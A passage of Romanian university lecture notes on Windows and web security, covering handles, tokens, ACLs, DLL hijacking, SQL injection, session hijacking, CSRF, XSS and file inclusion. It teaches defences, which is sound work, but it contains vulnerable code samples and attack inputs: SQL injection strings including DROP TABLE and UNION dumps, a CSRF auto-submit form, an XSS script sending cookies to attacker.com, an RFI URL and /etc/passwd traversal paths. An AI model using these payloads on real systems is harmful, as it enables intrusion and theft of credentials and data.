if (hFile == NULL){ // GRESIT: ar trebui ferificat cu
INVALID_HANDLE_VALUE
        //eroare
}
```

2. **Mostenirea handle-urilor:**
    - Handle-urile mostenite de procese copil pot permite acces neintentionat la resurse securizate

- **Recomandari**:
    1. Evitarea mostenirii handle-urilor:
        - La crearea obiectelor, setati explicit `bIngeritable = FALSE` in `SECURITY_ATTRIBUTES`
    2. Inchiderea handle-urilor mostenibile
        - Inchideti imediat handle-urile care nu sunt necesare dupa crearea procesului copil

---

3. Token-uri de acces si securitate

- **Token-uri de acces:**
    - Descriu contextul de securitate al unui proces/thread
- **Tipuri**:
    1. Token principal: *Asociat unui proces la logare*
    2. Token de impersonare: *Permite unuo thread sa opereze sub sontextul de securitate al altui utilizator*
- **Privilegii principale:**
    - SeDebugPrivilege: *Depanarea altor procese*
    - SeTakeOwnershipPrivilege: *Prelurea controlului asupra resurselor*
    - SeBackupPrivilege: *Crearea de copii sigure*
- Exemplu - Ajustarea privilegiilor

```
TOKEN_PRIVILEGES tp;
HANDLE hToken;

OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Provileges[0].Luid);

tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL,
NULL);
```

---

4. Descriptori de securitate (ACL/DACL)

- **Definitie**:
  - Controleaza accesul la obiecte securizabille. Contin:
    - Owner SID: *Proprietarul obiectului*
    - DACL (Discretionary Access Control List): *Lista de control a accesului discret*
    - SACL (System Access Control List): *Lista de aaudit a accesului*
- **Tipuri de drepturi de acces**
  - Generic: `GENERIC_READ`, `GENERIC_WRITE`
  - Standard: `READ_CONTROL`, `WRITE_DAC`
  - Specifice: Depinde de topul obiectului (e.g., `FILE_READ_DATA` pentru fisiere)
- **Recomandari:**
  - Plasati intrarile de refuz (`deny`) inaintea delor de accesptare (`allow`)
  - Evitati DACL-urile `NULL` (acces total pentru toti utilizatorii)
- Cod vulnerabil:

```
SECURITY_ATTRIBUTES sa = {sizeof(SECURITY_ATTRIBUTES), NULL, TRUE}; //DACL
NULL: acces complet!
CreateFile("file.txt", GENERIC_WRITE,0,&sa,CREATE_NEW,0,NULL);
```

---

5. Probleme de securitate legate de fisiere

- **Squatting pe fisiere:**
  - Daca `CreateFile()` nu foloseste `CREATE_NEW`, aplicatia poate deschide un fisier existent, ignorand permisiunile specificate
  - Cod vulnerabil:

```
HANDLE hFile =
        CreateFile("file.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
0, NULL);
        // Problema: Fisierul poate fi suprascris daca exista deja!
```

- **Canalizarea si traversare directoare:**
  - Path-uri relative pot fi manipulate pentru a accesa alocatii neintentionate
  - Cod vulnerabil:

```
char *ProfileDirectori = "C:\\profiles\\";
char Path[MAX_PATH];
// Traversare directoare posibilă
snprintf(Path, sizeof(Path), "%s%s.txt", ProfileDirectory, Username);
HANDLE hFile =
```

```
        CreateFile(Path, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0,
NULL);
```

- **Recomandari**:
  - Folositi doar path-uri absolute si validati intrarile utilizatorilor
  - Solutie alternativa:

```
if (strstr(Username, "..")) {
printf("Invalid username!\n");
return INVALID_HANDLE_VALUE;
}
```

---

6. Vulnerabilitati DLL

- **Problema DLL hijacking:**
  - Aplicatiile pot incarca fisiere DLL malitioase plasate in directoare accesibile atacatorului
  - Mecanisme de protectie:
    - `SafeDllSearchMode` : *Modifica ordinea de cautare a DLL-urilor*
    - `SetDllDirectory` : *Restrictioneaza directoarele din care sunt incarcate DLL-uri*
- Exemplu

```
HMODULE hModule = LoadLibraryEx("MyDLL.dll", NULL,
LOAD_LIBRARY_SEARCH_SYSTEM32);
if (hModule == NULL) {
    printf("Failed to load DLL: %lu\n", GetLastError());
}
```

---

7. Exemple si practici de audit

- **Practici bune:**
  - Verificati fiecare ACL pentru intrari suspecte
  - Folositi unelte precum Process Explorer si `sc.exe` pentru identificarea seriviciilor si resurselor vulnerabile
  - Evitati caile neincapsulate
    - `"C:\Program Files\My App.exe"` trebuie să fie `"\\"C:\Program Files\My App.exe\\""`

- **Probleme cu nume necanonice:**
  - Exces de caractere spatiu sau punct poate crea path-uri neasteptate
  - Cod Vulnerabil:

```
HANDLE hFile =
CreateFile("file....   ", GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, NULL);
// "file....   " se reduce la "file", ceea ce poate duce la coliziuni
sau confuzii.
```

Curs 9: Vulnerabilități Web - SQL Injection și Session Hijacking

---

1. Introducere

- **Obiective**:
  - Prezentarea teoreteica si practica a vulnerabilitatilor web comune
    - SQL injection
    - Session Hijacking
  - Intelegerea cauzelor, efectelor si metodelor de prevenire
- **Context**:
  - Aplicatiile web sunt expuse vulnerabilitatilor datorita interactiunii cu utilizatorii si serverele de date
  - Cauza principala: Validarea incorecta a datelor primite de la utilizatori

---

2. SQL Injection

2.1 Descrierea

- **Definitie**:
  - Exploatarea codului serverului prin injectarea de date malitioase care modifica interogarile SQL
- **Cauze**:
  - Amestecarea codului cu datele utilizatorului fara validare
  - Incredere excesiva in datele primite de la utilizatori
- **Exemplu**:

```
$username = $_POST['username'];
$password = $_POST['password'];
$result =
mysql_query["SELECT * FROM Users WHERE Name = '$username'
                        AND Password = '$password';"];
```

    - **Problema**:
        - Datele utilizatorului sunt inserate direct in interogarea SQL fara validare sau sanitizare
- **Atac SQL Injection:**
    - Input malitios:

```
$username = "john' OR 1=1 --";
$password = "anything";
```

    - Rezultatul interogarii:

```
SELECT * FROM Users WHERE Name='john' OR 1=1 --' AND
Password='anything';
```

    - Conditia `OR 1=1` face ca interogarea sa returneze toate randurile

2.2 Tipuri de SQL Injection

1. **Injectie directa:**
    - Atacatorul injecteaza cod SQL direct in campurile aplicatiei
2. **Second-order Injection:**
    - Datele malitioase sunt stocare in baza de date si executate ulterior prin alte interogari
3. **Blind SQL Injection:**
    - Atacatorul nu primeste raspunsuri explicite, dar deduce informatii prin tehnici de testare

2.3 Metode de protectie

1. **Validarea datelor utliizatorilor:**
    - Utilizati reguli stricte pentru a verifica intrarile utilizatorilor
    - Excludeti caractere nedorite precum `'`, `--`, `;`
    - **Cod corect**:

```php
$username = intval($_POST['username']);
// Transformă inputul într-un număr întreg.
```

2. **Escaparea intrarilor utilizatorilor**
   - Folositi functii precum `mysql_real_escape_string()` pentru a neutraliza caracterele speciale
3. **Prepare Statements**:
   - Separarea logicii SQL de date
   - **Exemplu**:

```php
$stmt = $conn->prepare("SELECT * FROM Users WHERE Name = ?
                                                AND PAssword = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
```

4. **Reguli generale**:
   - Nu folositi conturi cu privilegii ridicate pentru conexiunile aplicatiei la baza de date
   - Utilizati whitelisting pentru datele de intrare

2.4 Exemple practice

1. **Stergerea tabelelor**
   - **Input**: `john' OR 1=1; DROP TABLE Users; --`
   - Interogarea originala `sql SELECT * FROM Users WHERE Name = '$username' AND Password = '$password';`
   - Dupa injectare Variabila `$username` devine `john' OR 1=1; DROP TABLE Users; --`
   - Interogarea rezultata:

```sql
        SELECT * FROM Users WHERE Name = 'john' OR 1=1; DROP TABLE
Users; -- AND Password = '$password';
```

   - Comanda `DROP TABLE Users` este executata, ceea ce duce la stergerea completa a tabelului
   - **Impact**:
     - Baza de date este compromisa, deoarece tabelul utilizatori este sters
     - Aplicatai devine nefunctionala
   - **Protectie**
     - **Prepare Statements:**

```
$stmt = $conn->prepare("SELECT * FROM Users WHERE Name = ? AND
Password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
```

- **Validarea si escapare:**
  - Escapati caracterele speciale folosind functii precum `mysqli_real_escape_string`

2. **Blind SQL Injection:**
   - **Descriere**:
     - Atacatorul nu primeste raspunsuri explicite din partea serverului, dar deduce informatii din comportamentul aplicatiei. Blind SQL Injection este de obicei utilizat pentru a descoperi detalii sensibile, cum ar fi parole sau structura bazei de date
   - **Scenariu**
     - Aplicatia verifica existenta unui utilizator, dar returneaza mesaje generice precum "Acces refuzat"
     - Input malitios: `' AND SUBSTRING(Password,1,1)='a'; --`
     - Interogarea rezultata:
     `sql SELECT * FROM Users WHERE Name='admin' AND SUBSTRING(Password,1,1)='a'; --`
     - Atacul incearca sa determine primul caracter din parola utilizatorului admin
     - Daca raspunsul indica succes, atacatorul deduce ca primul caraacter al parolei este `a`
     - Atacatorul repeta atacul pentru al doilea caracter
     - `' AND SUBSTRING(Password,2,1)='b'; --`
     - Contina pana cand reconstruieste parola completa
   - **Impact**
     - Atacatorul poate obtine parole sau alte informatii sensibile fara sa fie evident pentru utilizator sau administrator
   - **Protectie**
     - Folositi Prepare Statements pentru a preveni manipularea interogarilor SQL
     - Limitati numarul de incercari pentru login pentru a preveni atacurile brute-force
3. **Dumping-ul bazei de date**
   - **Scenariu**
     - Input: `' UNION SELECT username, password FROM Users; --`
     - Interogarea originala `SELECT * FROM Products WHERE ProductID = '$productID';`
     - Dupa Injectie `SELECT * FROM Products WHERE ProductID = '' UNION SELECT username, password FROM Users; --`

        - Interogarea returneaza toate datele din tabelul Users (nume de utilizator si parole) impreuna cu datele asteptate de Products
        - Atacatorul obtine acces complet la baza de date
    - **Impact**
        - Datele condifentiale ale utilizatorilor sunt expuse
    - **Protectie**
        - Shitelisting pentru inputuri: Permiteti doar valori numerice pentru variabile precum `$productID`
        - Prepare Statements:

```
$stmt = $conn->prepare("SELECT * FROM Products WHERE ProductID =
?");
$stmt->bind_param("i", $productID);
$stmt->execute();
```

4. **Login fara autentificare**
    - **Scenariu**
        - input malitios: `' OR 1=1; --`
        - Interogarea originala: `SELECT * FROM Users WHERE Name = '$username' AND Password = '$password';`
        - Dupa injectare: `SELECT * FROM Users WHERE Name = '' OR 1=1; --' AND Password = '';`
        - Conditia `OR 1=1` este intotdeauna adevarata
        - Atacatorul obtine acces neautorizat fara a cunoaste credentialele
    - **Protectie**
        - Validari si sanitizati toate intrarile utilizatorilor
        - Folositi Prepare Statements pentru separarea logicii SQL de datele utilizatorilor

---

3. Session Hijacking

3.1 Descriere

- **Definitie**:
    - Exploatarea mecanismului de gestionare a sesiunilor pentru a prelua controlul asupra unei sesiuni active a utilizatorului
- **Cauze principale**:
    - Cookie-uri nesecurizate
    - Lipsa criptarii datelor transmise

- Predictibilitatea identificatorului sesiunii (session ID)

3.2 Functionarea sesiunilor web

- **Stateless HTTP:**
  - Fiecare cerere este independenta; sesiunea permite mentinerea starii intre cereri
- **Mecanisme pentru sesiuni**
  1. Hidden Fields:
     - Informatii inserate in campuri ascunde alte formularelot HTML
     - **Probleme**: Datele pot fi modificate de utilizatori
  2. Cookie-uri
     - Cele mai utilizate mecanisme pentru gestionarea sesiunilor
     - Stocheaza identificatori unici ai sesiunii (Session ID-uri)

3.3 Vulnerabilitati comune

1. **Furtul de cookie-uri:**
   - Atacatorul preia cookie-ul utilizatorului si il foloseste pentru a accesa aplicatia
   - Metoda:
     - Sniffing: *Capturarea traficului nesecurizat intre client si server*
     - Scripturi malitioase (XSS): *Injectarea de scripturi malitioase care trimit cookie-ul catre atacator*
2. **Predictibilitatea session ID-urilor:**
   - Daca ID-ul sesiunii este determinist, atacatorul poate ghici un ID valid

3.4 Metode de protectie

1. **Cookie-uri securizate:**
   - Marcati cookie-urile ca `HttpOnly` si `Secure` pentru a preveni accesul scripturilor
   - **Exemplu**:

```
Set-Cookie: sessionid=abc123; HttpOnly; Secure;
```

2. **Criptarea comunicatiei:**
   - Folositi HTTPS pentru a proteja toate datele transmise intre client si server
   - HTTPS protejeaza datele impotriva interceptarii prin criptarea traficului
3. **Session timeout:**
   - Expirati sesiunile inactive dupa un anumit timp pentru a reduce riscul ca sesiunile abandonate sa fie compromise

```php
ini_set('session.gc_maxlifetime', 1800); // Seteaza timeout-ul la 30
```

```
minute
```

4. **Regenerarea session ID-ului:**
   - Dupa autentificare, generati un nou ID pentru sesiune
   - **Exemplu**:

```
session_regenerate_id(true); //Regenerarea ID si invalidare ID
vechi
```

5. **Verificarea IP-ului si a agentului utilizatorului:**
   - Restrictionati accesul la sesiune la acelasi IP sau User-Agent

3.5 Exemple de atacuri

- **Furt cookie**
  - Atacatorul captează un cookie nesecurizat folosind un proxy sau un script XSS
- **Exemplu de protecție:**
  - **Input malițios XSS:**

```
<script>
document.location='http://attacker.com/?c='+document.cookie;
</script>
```

  - **Solutie**: Utilizați `Content-Security-Policy` pentru a restricționa executarea scripturilor.

Curs11: Vulnerabilități Web - XSS, CSRF, LFI, RFI

---

1. Cross-Site Request Forgery (CSRF)

1.1 Descriere

- **Definitie**:
  - Atac prin care un utilizator autentificat este pacalit sa efectueze actiuni nedorite pe un site web fara a sti
  - Exploateaza increderea site-ului in utilizator
- **Scenariu de atac**:
  - Utilizatorul este autentificat pe un site

- Primeste un link malitios, ex:

```
https://www.mybank.com/transfer.php?amount=1000&to=attacker
```

- Daca utilizatorul acceseaza link-ul, transferul este executat fara consmitamant

1.2 Tipuri de atacuri

1. **GET-based CSRF:**
   - Link-uri care contin actiuni malitioase
   - Exemple:

```
http://acme.com/requiest.php?delete=1234
```

2. **POST-based CSRF:**
   - Atacatorul construieste un formular care este trimis automat
   - **Cod atacator**:

```
<form action="http://victim.com/profile.php" method="POST">
        <input type="hidden" name="email"
values="attacker@example.com">
        <input type="submit">
</form>
<script>
        document.forms[0].submit();
</script>
```

3. **Stored CSRF**
   - Link-ul malitios este stocat intr-o pagina vulnerabila

1.3 Protectie impotriva CSRF

1. **Utilizarea token-urilor anti-CSRF**
   - Inserate in cereri (hidden fields, custom headers)
   - **Exemplu**:

```
<input type="hidden" name="csrf_token" value="<?=
$_SESSION['csrf_token'] ?>">
```

2. **Validarea referrer-ului**
   - Asigura ca cererea provine dintr-o pagina legitima
3. **Setari stricte pentru cookie-uri**

- `SameSite=Strict` pentru prevenirea transmiterii cookie-urilor catre domenii terte

---

2. Cross-Site Scripting (XSS)

2.1 Descriere

- **Definitie**:
  - Atac prin care un atacator injecteaza cod JavaScript malitios intr-o aplicatie web
  - Exploateaza lipsa validarii input-ului utilizatorului
- **Tipuri de XSS**
  1. **Stored (Persistent)**
     - Codul malitios este stocat pe server si este executat de fiecare data cand utilizatorii acceseaza continutul respectiv
     - **Exemplu comentariu:**

```
<script>alert('XSS!');</script>
```

  2. **Reflected (Non-persistent)**
     - Codul malitios este transmit direct in cererea HTTP si reflectat de server
     - **Exemplu URL malitios**:

```
http://example.com/page?var=<script>alert('XSS');</script>
```

  3. **DOM-based:**
     - Atacul este executat pe partea clinetului, fara implicarea serverului
     - **Exemplu**:

```
var pos = document.URL.indexOf("var=") + 4;
document.write(document.URL.substring(pos));
```

2.2 Atacuri XSS

- **Obiective**:
  - Furt de cookie-uri si sesiuni
  - Redirectari catre site-uri malitioase
  - Modificari ale continutului paginilor
  - Clickjacking
- **Exemplu furt cookie:**

```
<script>
    document.location = "http://attacker.com/?c=" + document.cookie;
</script>
```

2.3 Protectie impotriva XSS

1. Validarea si filtrarea input-urilor
    - Eliminati caracterele nedorite
    - Exemplu: `<`, `>`, `'`, `"`
2. **Escaparea output-urilor**
    - Continutul dinamic trebuie scapat pentru a preveni interpretarea codului
3. **Content Security Policy (CSP)**
    - Restrictioneaza sursele de scripturi care pot fi executate
4. **Utilizati librarii sigure**
    - Framework-uri care gestioneaza corect DOM-ul (e.g., React)

---

3. Alte vulnerabilitati

3.1 Local File Inclusion (LFI)

- **Definitie**:
    - Oermite includerea fisierelor locale in aplicatie
    - Atacatorul poate accesa fisiere sensibile sau executa cod
- **Exemplu vulnerabilitate:**

```
include($_GET['file']);
```

    - **Input malitios:**

```
http://example.com/?file=../../etc/passwd
```

- **Protectie**:
    - Validati si restrictionati fisierele care pot fi incluse

3.2 Remote File Inclusion (RFI)

- **Definitie**
    - Similar cu LFI, dar permite includerea de fisiere de pe servere externe
- **Exemplu**:

```
include($_GET['file']);
```

- **Input malitios:**

```
http://example.com/?file=http://attacker.com/malware.php
```

- **Protectie**:
  - Dezactivati `allow_url_include` in configuratia PHP

3.3 Directory Traversal

- **Definitie**:
  - Permite atacatorului sa acceseze directoare sau fisiere neautorizate
- **Exemplu**:

```
$file = $_GET['file'];
include("/var/www/html/$file");
```

- **Input malitios:**

```
http://example.com/?file=../../etx/passwd
```

- **Protectie**:
  - Sanitizati input-ul utilizatorului pentru a elimina secvente precum `../`

3.4 Default Login Credentials

- **Problema**:
  - Aplicatiile vin cu conturi implicite (`admin:admin` , `root:root`)
- **Mitigare**:
  - Dezactivati conturile implicite si utulizati parole puternice

---